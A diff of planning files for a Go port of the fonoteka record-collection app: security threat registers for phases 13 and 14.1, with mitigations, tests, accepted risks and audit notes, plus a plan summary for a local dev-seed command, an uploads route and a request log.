| 2026-10-05 | 41 | 41 | 0 | gsd-executor, plan 12.1-05 (`12.1-SECURITY-REVIEW.md`, 27 removal checks) |
| 2026-10-12 | 41 | 41 | 0 | /msd-secure-phase 12.1 (orchestrator, L1 grep re-check of every mitigation anchor in both repos; short-circuit: register authored at plan time, ASVS 1) |
## Security Audit 2026-10-12
| Metric | Count |
|--------|-------|
| Threats found | 41 |
| Closed | 41 |
| Open | 0 |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,133 @@
---
phase: "13"
slug: "p-ytarium-api-wishlist-notifications-csv-credentials-public"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
threats_total: 37
threats_closed: 37
accepted_risks: 2
asvs_level: 1
block_on: high
register_authored_at_plan_time: true
created: "2026-10-12"
---
# Phase 13 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
This file is the gate contract built from the six `<threat_model>` blocks and the SUMMARY `## Threat Flags` sections. No SUMMARY flags a threat outside its plan's register. `13-SECURITY-REVIEW.md` (2026-10-03, written by the 13-06 executor) has the per-threat findings, the named test evidence and the 31 removal checks (RC-01 to RC-31). T-13-SC appears in every plan and is counted once, with its strictest entry (13-04, medium, mitigate: the direct `golang.org/x/text` requirement). Framework paths are relative to `summercms.go/`. App paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| HTTP request path → surf dispatch | Untrusted path segments select the handler and its middleware chain of an overlapping route family | path segments |
| Request write transaction → River queue | Queued jobs wait for Phase 14 workers; they must neither fail the write nor be lost | job args |
| Recorded fixtures and goldens → tide comparison | Masks decide what the parity diff may ignore | dates, publication ids |
| Isolated PHP SQLite → row goldens | The parity `rows` subcommand reads the parity database | test rows, share tokens |
| Anonymous client → onboarding, invitation inspection and public share routes | Unauthenticated input creates the first owner, probes invitation tokens and resolves share tokens | e-mails, passwords (high), share and invitation tokens |
| JWT client → notifications, credentials, wishlists, CSV imports | A user reaches only their own rows and peers' rows through visibility scopes; org writes need owner/admin | identifiers, field values |
| Personal token → token-group wishlist routes | MCP clients reach only list/create/update/delete of the token owner's wishlist | wishlist album data |
| Credential at rest → DB, responses and logs | API keys and Discogs tokens exist only as ciphertext | secrets (high) |
| User plugin event → fonoteka listener | Register input crosses a plugin boundary | registration payload |
| Reservation data → wishlist owner | The giver's identity stays hidden until reveal | reserver identity |
| Uploaded CSV → parser and private storage | Up to 5 MiB of untrusted bytes are decoded, parsed and kept unserved | file contents |
| Album data → exported CSV | Cells are opened in spreadsheets | formula-shaped strings |
| Shared collection → public serializer | Private album fields must not reach the anonymous response | album fields |
| Gate script and fuzz corpus → tracked source and git | `--removal` edits tracked files temporarily; seeds are committed | source, synthetic inputs |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-13-01 | Information Disclosure | token guessing / enumeration | high | mitigate | `classes/public_share.go` `PubfailCounter.Begin` (10 failures per address per 60 s), 16-symbol shape check, inline and per-token/per-IP buckets. `TestPhase13Threats/T-13-01`, `TestPubfailCounter`; RC-08, RC-09 | closed |
| T-13-02 | Information Disclosure | public serializer and facets | high | mitigate | `classes/serialize_public_album.go` `PublicAlbumDTO`, rating filter 422, collection re-gate. `TestPhase13Threats/T-13-02`, `TestPublicAlbumFieldSet`; RC-20 | closed |
| T-13-03 | Spoofing | disabled or regenerated share | high | mitigate | `classes/share_service.go` `ResolvePublic` requires `public_enabled = ?`, the route's kind and the current token. `TestPhase13Threats/T-13-03`, `TestPublicResolve`; RC-06. Residual: see Audit Note (WR-04) | closed |
| T-13-04 | Elevation of Privilege | reserve, cancel, reveal | high | mitigate | `classes/reservations.go` owner refused, cancel `WHERE album_id = ? AND user_id = ?`, reveal through own wishlist. `TestPhase13Threats/T-13-04`, `TestReserveConcurrent`; RC-23 | closed |
| T-13-05 | Information Disclosure | reservation mask in every serializer path | high | mitigate | `ReservationStateForViewer` masks the reserver for the owner before reveal. `TestPhase13Threats/T-13-05`, `TestReservationMask`; RC-05 | closed |
| T-13-06 | Information Disclosure / Tampering | peer wishlists, subscriptions, wishlist album ids | high | mitigate | `ReservableWishlistIDs`, `WishlistsVisibleTo`, `ActiveWishlist`; identical Winter 404 for foreign and missing. `TestPhase13Threats/T-13-06`, `TestWishlistSubscriptions`; RC-24. Residual: see Audit Note (WR-04) | closed |
| T-13-07 | Elevation of Privilege | token group | high | mitigate | `routes.go` mounts only wishlist CRUD and export on `/api/v1/fonoteka`, one `inv.scope` each. `TestRouteTablePhase13`, `TestPhase13Threats/T-13-07`; RC-22 | closed |
| T-13-08 | Information Disclosure | credential responses, logs, marshal | high | mitigate | `lagoon.Encrypted` columns, `json:"-"` models, show selects provider/model/base_url only. `TestPhase13Threats/T-13-08`, `TestCredentialSecretsNeverSerialized`; RC-21 | closed |
| T-13-09 | Elevation of Privilege | org credential store/destroy, Discogs shared | high | mitigate | `controllers/api/credentials_controller.go` `mayManageOrg` → 403 or `shared_forbidden`, nothing written. `TestPhase13Threats/T-13-09`, `TestCredentialsCRUD`; RC-25 | closed |
| T-13-10 | Tampering | credential owner FK mass assignment | high | mitigate | `classes/credential_write_service.go` `CredentialFillFields`; owner keys from the session. `FuzzWriteEndpoints`, `TestPhase13Threats/T-13-10`; RC-15, RC-16 | closed |
| T-13-11 | Tampering | base_url as SSRF target | medium | accept | Stored only (`nullable\|url`); Phase 14 owns the guarded outbound client (INTG-02). See Accepted Risks Log | closed |
| T-13-12 | Elevation of Privilege | import routes by id | high | mitigate | `classes/csv_import_service.go` `CsvImportFor` (creator plus accessible collection). `TestPhase13Threats/T-13-12`, `TestCsvImportScope`; RC-13 | closed |
| T-13-13 | Information Disclosure | CSV upload storage | high | mitigate | `controllers/api/csv_import_controller.go` `csvBucket(app)`: private bucket, server keys `fonoteka-csv/<uid>/<uuid>.csv`. `TestPhase13Threats/T-13-13`, `TestCsvStoreAndShow`; RC-26 | closed |
| T-13-14 | Tampering | exported cells | medium | mitigate | `classes/csv` `FormulaSafe` on every exported cell; mid-stream failure logged since 13-06. `TestPhase13Threats/T-13-14`, `TestCsvExport`, `TestPHPFputcsv` | closed |
| T-13-15 | Denial of Service | CSV parse | medium | mitigate | 5 MiB cap, `MaxRows` 5000, NUL rejection, `throttle:10,1`. `TestPhase13Threats/T-13-15`, `TestPhase13Boundaries` | closed |
| T-13-16 | Tampering | row edit Discogs pick | high | mitigate | Candidate allow-list; Phase 13 `ReleaseFetcher` returns `ErrDiscogsUnavailable`. `TestPhase13Threats/T-13-16`, `TestCsvRowPickSeam`; RC-18 | closed |
| T-13-17 | Tampering | double commit / double writer | high | mitigate | Commit compare-and-swap `WHERE id = ? AND status = ?`; since `ce4dd3a` (14-02, WR-02) mapping, row edits and cancel lock the import row (`clause.Locking{Strength: "UPDATE"}`) before writing. `TestPhase13Threats/T-13-17`, `TestCsvCommitCAS`; RC-14 | closed |
| T-13-18 | Elevation of Privilege | onboarding bootstrap | high | mitigate | `classes/onboarding.go` `BootstrapOwner`: 409 when a user exists, advisory lock plus recount, unique e-mail. `TestPhase13Threats/T-13-18`, `TestBootstrapConcurrent`; RC-12 | closed |
| T-13-19 | Spoofing | register listener invitation match | high | mitigate | `HandleRegisterEvent`: pending, unexpired, unrevoked, `LOWER(email) = ?`. `TestPhase13Threats/T-13-19`, `TestRegisterInvitationListener`; RC-27 | closed |
| T-13-20 | Information Disclosure | RegisterEvent.Payload | high | mitigate | sm-user-plugin `FireRegisterEvent` deletes `password` and `password_confirmation`. `TestRegisterEventPayload`, `TestPhase13Threats/T-13-20`; RC-10, RC-11 | closed |
| T-13-21 | Information Disclosure / Tampering | notifications read and mark-read | medium | mitigate | `classes/notifications.go` `WHERE user_id = ? AND id = ?`; zero rows → Winter 404. `TestPhase13Threats/T-13-21`, `TestNotificationsRoutes`; RC-17 | closed |
| T-13-22 | Denial of Service / Repudiation | conga unregistered kinds | high | mitigate | `modules/conga` insert-only client for unregistered kinds, `ErrUnregisteredKindQueue` for served queues. `TestUnregisteredKindWithWorker`, `TestJobContractDispatchWhileWorkerRuns`; RC-04 | closed |
| T-13-23 | Elevation of Privilege | surf overlap dispatch | high | mitigate | `modules/surf/overlap.go` `familyDispatch`: literals and constraints before dispatch, per-member chains, 404 on no match. `TestOverlappingConstrainedRoutes`, `TestOverlapConstraintFallsThrough`, `TestRouteTablePhase13`; RC-01 to RC-03 | closed |
| T-13-24 | Repudiation | tide date and publication masks | medium | mitigate | Each mask checks the masked value's shape. `TestNormalizeContentDispositionDate`, `TestNormalizeNotificationPublication`, `TestNormalizePhase13Edges` | closed |
| T-13-25 | Tampering | lagoon prohibited rule | medium | mitigate | Laravel 9 `prohibited` semantics. `TestValidateRequestProhibited`, `TestValidateRequestProhibitedNested`, `FuzzWriteEndpoints` | closed |
| T-13-26 | Information Disclosure | php_parity.sh rows and share capture | medium | mitigate | `fonoteka.go/parity/php_parity.sh` `rows` runs `sqlite3 -readonly -safe`; share tokens captured as `{{share:wishlist}}`; `check_corpus --check-secrets` | closed |
| T-13-27 | Information Disclosure | invitation inspection | medium | mitigate | `InspectInvitation` reveals the collection name only for a sha256-matched pending token; shared `throttle:10,1`. `TestPhase13Threats/T-13-27`, `TestInspectInvitation` | closed |
| T-13-28 | Tampering / Repudiation | item-added and purchase side effects | medium | mitigate | Bell rows, digest upsert (dispatch on insert only) and enqueues on the write transaction; publications after commit. `TestPhase13Threats/T-13-28`, `TestDigestCoalescing`, `TestPurchaseMailAfterCommit`; RC-19 | closed |
| T-13-29 | Information Disclosure | subscribe by token | medium | mitigate | `ResolvePublic` kind wishlist plus `subtle.ConstantTimeCompare` of the exact token. `TestPhase13Threats/T-13-29`; RC-07 | closed |
| T-13-30 | Information Disclosure | purchase mail job args and logs | medium | mitigate | `WishlistPurchasedMailArgs`: subscriber id and two names only; worker logs the id. `TestPhase13Threats/T-13-30` | closed |
| T-13-31 | Repudiation | queued jobs without workers | medium | mitigate | Unserved queues from the 13-01 contract; cancel stops summer_jobs and River rows. `TestPhase13Threats/T-13-31`, `TestCsvJobRows`, `TestCsvCancel` | closed |
| T-13-32 | Denial of Service | shared anonymous inline budget | low | accept | PHP parity: one `throttle:10,1` guest key across onboarding, inspection and public resolves. See Accepted Risks Log | closed |
| T-13-33 | Elevation of Privilege | public route kind confusion | medium | mitigate | Every public handler passes its route's kind to `ResolvePublic`. `TestPhase13Threats/T-13-33`, `TestPublicResolve` | closed |
| T-13-34 | Tampering | gate --removal leaving mutated source | medium | mitigate | `scripts/check-phase13.sh --removal`: dirty-file refusal, anchor-exact mutation, trap restore, `cmp` check; outside `--all`. `--self-test`; RC-31 | closed |
| T-13-35 | Repudiation | security review claims without evidence | medium | mitigate | `scripts/check-phase13.sh` `evidence_check`. `--self-test`; RC-30 | closed |
| T-13-36 | Information Disclosure | fuzz seed corpus | low | mitigate | Synthetic seeds; `corpus_scan` over `testdata/fuzz`. `--self-test`; RC-29 | closed |
| T-13-SC | Tampering | package installs (`golang.org/x/text` v0.42.0) | medium | mitigate | Go-team module already in the graph, pinned by go.sum, approved at the plan-count checkpoint; no other plan adds a dependency. `check-phase13.sh --go`; RC-28 | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-13-01 | T-13-11 | Phase 13 only stores `base_url`; no outbound call exists until Phase 14, which owns the guarded AI client (INTG-02, fetchguard) | 13-02 plan threat model | 2026-10-03 |
| AR-13-02 | T-13-32 | PHP shares one `throttle:10,1` guest key across onboarding, inspection and public resolves; Go mirrors it (`inline:domainless\|ClientIP`) for parity, documented in `parity/README.md` | 13-05 plan threat model | 2026-10-03 |
*Accepted risks do not resurface in future audit runs.*
---
## Audit Note (2026-10-12)
The 13 findings of `13-REVIEW.md` are all still `open` in `13-REVIEW-DISPOSITION.md`. Two of them touch registered threats:
- **WR-02 (T-13-17).** Mapping, row-edit and cancel writes bypassed the commit compare-and-swap, which could queue a second import job. The fix landed in Phase 14 (`fonoteka.go` `ce4dd3a`, "fix(14-02): mapping, row edits and cancel lock the CSV import before writing (WR-02)"). The tree now locks the row in `classes/csv_import_service.go`. T-13-17 is closed. The disposition row is stale and can be set to `fixed`.
- **WR-04 (T-13-03, T-13-06).** A logged-in user who subscribed with a share token keeps peer read, reserve and notification access after the owner disables or regenerates the share. `ReservableWishlistIDs` does not check the share state. This matches PHP (`AlbumReservationService::reservableWishlistIds`), so it is not a porting defect. Both controls work as planned: anonymous public routes are revoked (T-13-03), and non-subscribers cannot reach the peer routes (T-13-06). The gap is recorded as a residual risk, not an open threat. Closing it would change PHP behaviour and needs a product decision note: either gate the subscription branch on `public_enabled` or add an owner-side "remove subscriber" route.
The other review findings (WR-01, WR-03, IN-01 to IN-09) are about correctness, robustness and the gate. None of them removes a registered mitigation.
The per-instance pubfail counter (T-13-01 residual in `13-SECURITY-REVIEW.md`) still applies: N instances allow N × 10 guesses per minute against a token of about 95 bits.
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-10-03 | 37 | 37 | 0 | 13-06 executor (`13-SECURITY-REVIEW.md`, removal checks RC-01 to RC-31) |
| 2026-10-12 | 37 | 37 | 0 | /msd-secure-phase (ASVS L1: mitigation grep at HEAD plus re-run of `TestPhase13Threats` (27 subtests), `TestRouteTablePhase13`, `FuzzWriteEndpoints` and the surf/conga/tide/lagoon threat tests, all passing, no skips; short-circuit, no auditor) |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,81 @@
---
phase: "14.1"
slug: "oauth-identities-and-fonoteka-me-routes"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
asvs_level: 1
created: "2026-10-12"
---
# Phase 14.1 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
Implementation lives in the sibling repositories: `fonoteka.go` (host routes, MeToken, parity) and the sm-user-plugin submodule at `fonoteka.go/plugins/golem15/user`. Paths below are relative to `fonoteka.go`.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| JWT client → `/_fonoteka/api/v1/oauth-identities` | Untrusted Bearer and `{provider}` path | Provider list with `linked_at`; must never carry Encrypted tokens or profile_data |
| Personal-token client → `/api/v1/fonoteka/me` | Already-matched `inv_` credential | Collection binding and scopes (authorization data) |
| Host plugin → sm-user-plugin constructors | Host injects the Winter 404 writer; the plugin does not import the application `api` package | Handler wiring |
| Postgres `golem15_user_oauth_identities` | At-rest Encrypted tokens, cascade delete with users | OAuth access/refresh tokens, provider profile JSON (secret) |
| Test process → handlers / corpus replay | Tests must not leak secrets; pending must never count as passing | Fixture secrets, parity verdicts |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-14.1-01 | Information Disclosure | OAuthIdentitiesIndex | high | mitigate | Index builds an explicit `{provider, linked_at}` map (`plugins/golem15/user/controllers/oauth_identities.go`); `AccessToken`, `RefreshToken`, `ProfileData` are `json:"-"` and in `Hidden()` (`models/oauth_identity.go`, WR-01 fix cf5c6b9) | closed |
| T-14.1-02 | Elevation of Privilege | OAuthIdentitiesDestroy | high | mitigate | Lookup `user_id = ? AND provider = ?` with the caller's principal; `ErrRecordNotFound` goes to the injected WriteNotFound (Winter 404, not 403) | closed |
| T-14.1-03 | Elevation of Privilege | OAuthIdentitiesDestroy last-method | high | mitigate | Count of the caller's identities; `n == 1` returns 409 `last_method_blocked`; tested EN/PL and with a password set (`oauth_identities_test.go:101,131`). Residual: count-then-delete is not transactional (review WR-02, open) | closed |
| T-14.1-04 | Tampering | OAuthIdentity Fillable | medium | mitigate | `Fillable()` returns `[]string{}`; no `lagoon.Fill` call on this model | closed |
| T-14.1-05 | Information Disclosure | Destroy provider allow-list | medium | mitigate | Unknown provider (`!slices.Contains(providers, provider)`) calls the same `writeOAuthIdentityNotFound` as a missing row | closed |
| T-14.1-06 | Elevation of Privilege | fonoteka routes.go | high | mitigate | GET/DELETE `/oauth-identities` registered inside the `jwt.auth` group (`plugins/golem15/fonoteka/routes.go:240-246`); token group `/api/v1/fonoteka` unchanged | closed |
| T-14.1-07 | Denial of Service | DELETE registration | medium | mitigate | `"throttle:10,1"` on DELETE only (`routes.go:246`), asserted in `phase08_coverage_test.go:655` | closed |
| T-14.1-08 | Tampering | Encrypted columns | medium | mitigate | Seed uses `lagoon.NewEncrypted` under the app key (`parity/fonoteka_seed_test.go:705-718`); no Laravel ciphertext imported | closed |
| T-14.1-09 | Information Disclosure | oauth_identities_test.go GET | high | mitigate | Index test fails on plaintext, `access_token`, `refresh_token`, `profile_data`, `[redacted]` (`oauth_identities_test.go:221`) | closed |
| T-14.1-10 | Information Disclosure | Destroy 404 tests | high | mitigate | `TestOAuthIdentitiesDestroyWinter404BodiesAreByteIdentical`: foreign, missing, unknown bodies byte-equal to the Winter HTML 404 | closed |
| T-14.1-11 | Tampering | TestParityCorpus | high | mitigate | `expectedPortedRoutes = 175`, pending checked against `expectedPHPRoutes-expectedPortedRoutes`; `assertPortedMismatch` requires `tide.MismatchError` (`parity/parity_test.go`) | closed |
| T-14.1-12 | Elevation of Privilege | phase08 TokenSurfaceIsolation | high | mitigate | `assertRouteSurfaces(..., "/oauth-identities", true, false)` for GET and DELETE (`phase08_coverage_test.go:652-653`) | closed |
| T-14.1-SC | Tampering | package installs | high | mitigate | No `go.mod` change in either repository during the phase (summaries: `tech-stack.added: []`) | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
### Residual notes (non-blocking)
- **T-14.1-03 / WR-02:** two concurrent DELETEs for different providers by a user with exactly two identities can both read `n == 2` and both delete, leaving zero OAuth identities. Exposure is narrow (same user, near-simultaneous requests, throttled 10/min) and matches the PHP controller's behaviour, but the review finding stays open in `14.1-REVIEW-DISPOSITION.md` until triaged.
- **IN-03:** Index `Find` decrypts token columns it never returns; no disclosure, only unnecessary plaintext in memory.
---
## Accepted Risks Log
No accepted risks.
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-10-12 | 13 | 13 | 0 | /msd-secure-phase (orchestrator, ASVS L1 grep-depth; auditor short-circuited) |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,229 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
plan: 01
subsystem: infra
tags: [dev-seed, surf, uploads, access-log, slog, console, fonoteka]
requires:
- phase: 14.1
provides: fonoteka plugin console commands, classes write services, parity corpus 175/175
provides:
- fonoteka:dev-seed (local/dev only), idempotent D-02 seed shape with generated PNG covers
- console.DevEnvironment and console.DevSeedCommand
- fonoteka plugin commands open and publish their own database (G1)
- GET /_fonoteka/api/v1/_dev/backend marker, local/dev only, outside the parity manifest
- framework config key storage.uploads.serve (uploads route on attach.StaticHandlerPublic, nosniff)
- framework config key http.access_log (one redacted "http request" record per request)
affects: [14.2-02 start script, 14.2-03 e2e specs, 14.2-04 unit tests, phase 20 cutover]
actuals:
tokens: 15212
tasks: 3
commits: 3
plan_head_before: 3408742fb0e64a57ac3dcaad5a4b31001cffc849
plan_head_after: 2d68eab3c0f82b55bf4c7e6f56c46f98b9c124f6
fonoteka_head_before: df7876bfa9933fa68d28a2ff3f80b1c33453398c
fonoteka_head_after: 464ba475eff0f5282e4c68da53b9eab4b3b688e7
fonoteka_commits: 2
tech-stack:
added: []
patterns:
- "Console command database: published handle, else lagoon.OpenFromApp + lagoon.Publish (OnDatabase hooks run) with a closer"
- "Framework opt-in routes resolve published services per request so route:list and boot need no database"
- "Request-scoped pointer slot in the context carries the matched route pattern to an outer middleware"
key-files:
created:
- modules/surf/uploads.go
- modules/surf/accesslog.go
- modules/surf/accesslog_test.go
- .planning/todos/pending/user-plugin-commands-open-database.md
- ../fonoteka.go/plugins/golem15/fonoteka/console/database.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
modified:
- modules/surf/router.go
- modules/surf/README.md
- docs/services/storage.md
- docs/services/logging.md
- docs/setup/configuration.md
- ../fonoteka.go/plugins/golem15/fonoteka/plugin.go
- ../fonoteka.go/plugins/golem15/fonoteka/routes.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go
key-decisions:
- "commandDatabase/commandBucket closers close the handles they opened, so a later command in the same process must not reuse that app; TestDevStackSmoke models seed and serve as separate fresh processes, like the start script"
- "The uploads route is owned by plugin id summercms.surf, prefix falls back to /storage/uploads (attach default); a plugin route with the same pattern fails boot as a duplicate"
- "Seed output is printed only after the transaction commits, so a failed run prints no created lines"
- "With DEV_SEED_API_TOKEN set the seed never prints a secret; an existing row with that hash is reassigned to the seed user and name and un-revoked (api token: updated)"
- "An existing rating on the first album is left as it is (keyed by album_id, user_id), even when its value differs from 4"
- "Seeded albums are created with name, artist_display, year and format LP only (fields the PHP create form accepts)"
patterns-established:
- "Seed lines: '<entity>: created|updated|unchanged', cover lines append the public URL, token line shows a minted secret only on creation"
requirements-completed: [QA-05]
coverage:
- id: D1
description: "fonoteka:dev-seed seeds user, owned collection as context, three albums with PNG covers, wishlist entry, rating, API token and flips search_use_typesense last, in a fresh process with no published database"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
status: pass
human_judgment: false
- id: D2
description: "Seed is idempotent (rerun prints unchanged, adds no row in users, collections, albums, system_files, ratings, user_api_tokens) and refuses production, development and staging before opening the database"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
status: pass
human_judgment: false
- id: D3
description: "storage.uploads.serve serves a seeded cover from the assembled router: 200 image/png with X-Content-Type-Options: nosniff"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
status: pass
- kind: other
ref: "go run ./cmd/summer docs:build --check"
status: pass
human_judgment: false
- id: D4
description: "Marker GET /_fonoteka/api/v1/_dev/backend answers 200 with exactly backend/app/env and Cache-Control: no-store in local; parity corpus unchanged"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go#TestDevStackSmoke"
status: pass
- kind: integration
ref: "go -C ../fonoteka.go test ./parity -run TestParityCorpus"
status: pass
human_judgment: false
- id: D5
description: "fonoteka:reindex, fonoteka:oauth-client and fonoteka:prune-notifications use commandDatabase; existing console tests unchanged and passing"
requirement: QA-05
verification:
- kind: unit
ref: "../fonoteka.go/plugins/golem15/fonoteka/console#TestReindexCommand,TestPruneNotifications,TestOAuthClientCommandListPrintsClientIDAndURIsNeverTheSecret"
status: pass
human_judgment: false
- id: D6
description: "http.access_log logs one 'http request' record with method, pattern, status, duration_ms; path without query only for unmatched requests; nothing when off"
requirement: QA-05
verification:
- kind: unit
ref: "modules/surf/accesslog_test.go#TestAccessLogSmoke"
status: pass
human_judgment: false
duration: 16min
completed: 2026-10-11
status: complete
---
# Phase 14.2 Plan 01: Go-side local stack glue Summary
**A fresh fonoteka process can now seed itself with `fonoteka:dev-seed` (local/dev only, idempotent, PNG covers through StoreAlbumPhoto). The framework serves those covers under the WinterCMS upload URL through the opt-in `storage.uploads.serve` route, the plugin answers a local-only backend marker, the fonoteka commands open their own database, and surf has an opt-in redacted request log (`http.access_log`).**
## Performance
- **Duration:** 16 min
- **Started:** 2026-10-11T15:31:28Z
- **Completed:** 2026-10-11T15:47:12Z
- **Tasks:** 3
- **Files modified:** 18 (8 created, 10 modified) across summercms.go and fonoteka.go
## Accomplishments
- `fonoteka:dev-seed`: refuses outside `SUMMER_ENV` local/dev before opening anything, then seeds in one `lagoon.Transaction` inside `lighthouse.WithoutBroadcasting[models.Album]`: the user (E2E_EMAIL/E2E_PASSWORD, default demo@example.com/changeme), the owned collection as context, Kind of Blue, Blue Train and Mingus Ah Um with 64x64 PNG covers, the wishlist with A Love Supreme, a rating of 4, the `dev-seed-mcp` token, and `search_use_typesense` flipped last.
- `console.commandDatabase` / `commandBucket` (G1): reuse the published handle, else open and publish it. Used by the seed, `fonoteka:reindex`, `fonoteka:oauth-client` and `fonoteka:prune-notifications`.
- `GET /_fonoteka/api/v1/_dev/backend` (D-09/D-10): `{"backend":"summercms","app":"fonoteka","env":"local"}`, `Cache-Control: no-store`, `throttle:60,1`, registered only in local/dev, not in the manifest.
- Framework `storage.uploads.serve` (D-19): `GET {public_path_prefix}/{path...}` on `attach.StaticHandlerPublic` with nosniff, documented in the surf README, docs/services/storage.md and docs/setup/configuration.md.
- Framework `http.access_log` (D-12): one Info `http request` record per request, documented in the surf README, docs/services/logging.md (new "Request log" section) and docs/setup/configuration.md.
- Planning todo for the same database gap in the shared sm-user-plugin (not modified).
## Seed output (TestDevStackSmoke)
First run:
```
user: created
collection: created
album Kind of Blue: created
cover Kind of Blue: created /storage/app/uploads/public/25d/b37/451/25db37451a4705c659ecfb.png
album Blue Train: created
cover Blue Train: created /storage/app/uploads/public/16f/a0b/4b0/16fa0b4b09666aeca51b6c.png
album Mingus Ah Um: created
cover Mingus Ah Um: created /storage/app/uploads/public/940/b2b/d6a/940b2bd6a1cb2b3d7d4ba4.png
wishlist: created
wishlist album A Love Supreme: created
rating Kind of Blue: created
api token: created inv_<secret> (shown once)
search: created
```
The second run prints the same 13 lines with `unchanged`; the cover lines keep the same URLs and the token line reads `api token: unchanged (secret not shown)`. A third run with a different `E2E_PASSWORD` prints `user: updated` and 12 `unchanged` lines.
Parity: `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`.
## Task Commits
1. **Task 1 (tracer): seeded cover served end to end**
- summercms.go `0b6d757` feat(14.2-01): opt-in storage.uploads.serve route for public uploads
- fonoteka.go `89b703a` feat(14.2-01): fonoteka:dev-seed with a served cover in a fresh process
- Tracer gate: verify re-run passed (automated only, end-of-phase mode), then expanded.
2. **Task 2: full seed shape, marker, commands open their database**
- fonoteka.go `464ba47` feat(14.2-01): full dev-seed shape, local backend marker, commands open their database
- summercms.go `ad1fa5a` docs(14.2-01): todo for sm-user-plugin commands that need a published database
3. **Task 3: opt-in request log**
- summercms.go `2d68eab` feat(14.2-01): opt-in http.access_log request log in surf
## Files Created/Modified
- `modules/surf/uploads.go`: `mountUploads`, per-request bucket/DB lookup, nosniff
- `modules/surf/accesslog.go`: `accessLog`, `recordPattern`, `statusRecorder` (Flush/Unwrap kept)
- `modules/surf/accesslog_test.go`: `TestAccessLogSmoke` (acme.blog fixture)
- `modules/surf/router.go`: `mountUploads` after the plugin route loop; access log wrap in `compile`; `recordPattern` outermost in `wrap`
- `modules/surf/README.md`, `docs/services/storage.md`, `docs/services/logging.md`, `docs/setup/configuration.md`: both keys documented
- `fonoteka.go/plugins/golem15/fonoteka/console/{database,dev_seed}.go`: helpers and the seed
- `fonoteka.go/plugins/golem15/fonoteka/console/{reindex,oauth_client,prune_notifications}.go`: `commandDatabase`
- `fonoteka.go/plugins/golem15/fonoteka/{dev_marker,routes,plugin}.go`: marker and command registration
- `fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go`: `TestDevStackSmoke`
## Decisions Made
See `key-decisions` in the frontmatter. The main one is that the command closers close what they opened. A process that ran the seed therefore must not serve from the same app, so the smoke test models migrate, seed and serve as three fresh processes, which is what the plan 02 start script does.
## Deviations from Plan
1. **[Rule 2 - Missing coverage] Refusal and password-change checks added to TestDevStackSmoke.** The plan put the production-refusal test in plan 04, but threat T-14.2-01 cites TestDevStackSmoke for this plan. The smoke test now checks that an unset SUMMER_ENV, `development` and `staging` are refused and that no database gets published. It also checks that a changed `E2E_PASSWORD` prints `user: updated`. Files: dev_stack_smoke_test.go. Commit: 464ba47.
2. **[Rule 1 - Test isolation] The smoke test restores `search_use_typesense`.** The seed flips the shared container's settings row, so `keepSearchSetting` makes sure row 1 exists with the flag off and restores its earlier state when the test ends. Without it, later tests in the package would run with search on. Commit: 464ba47.
3. **Mid-plan in-progress SUMMARY skipped.** The context was well under half after Task 2, so Task 3 ran in the same executor and only this final SUMMARY was written. No committed artifact is affected.
**Total deviations:** 2 auto-fixed (1 missing coverage, 1 test isolation), 1 procedural. **Impact:** no scope change. The production code follows the plan.
## Issues Encountered
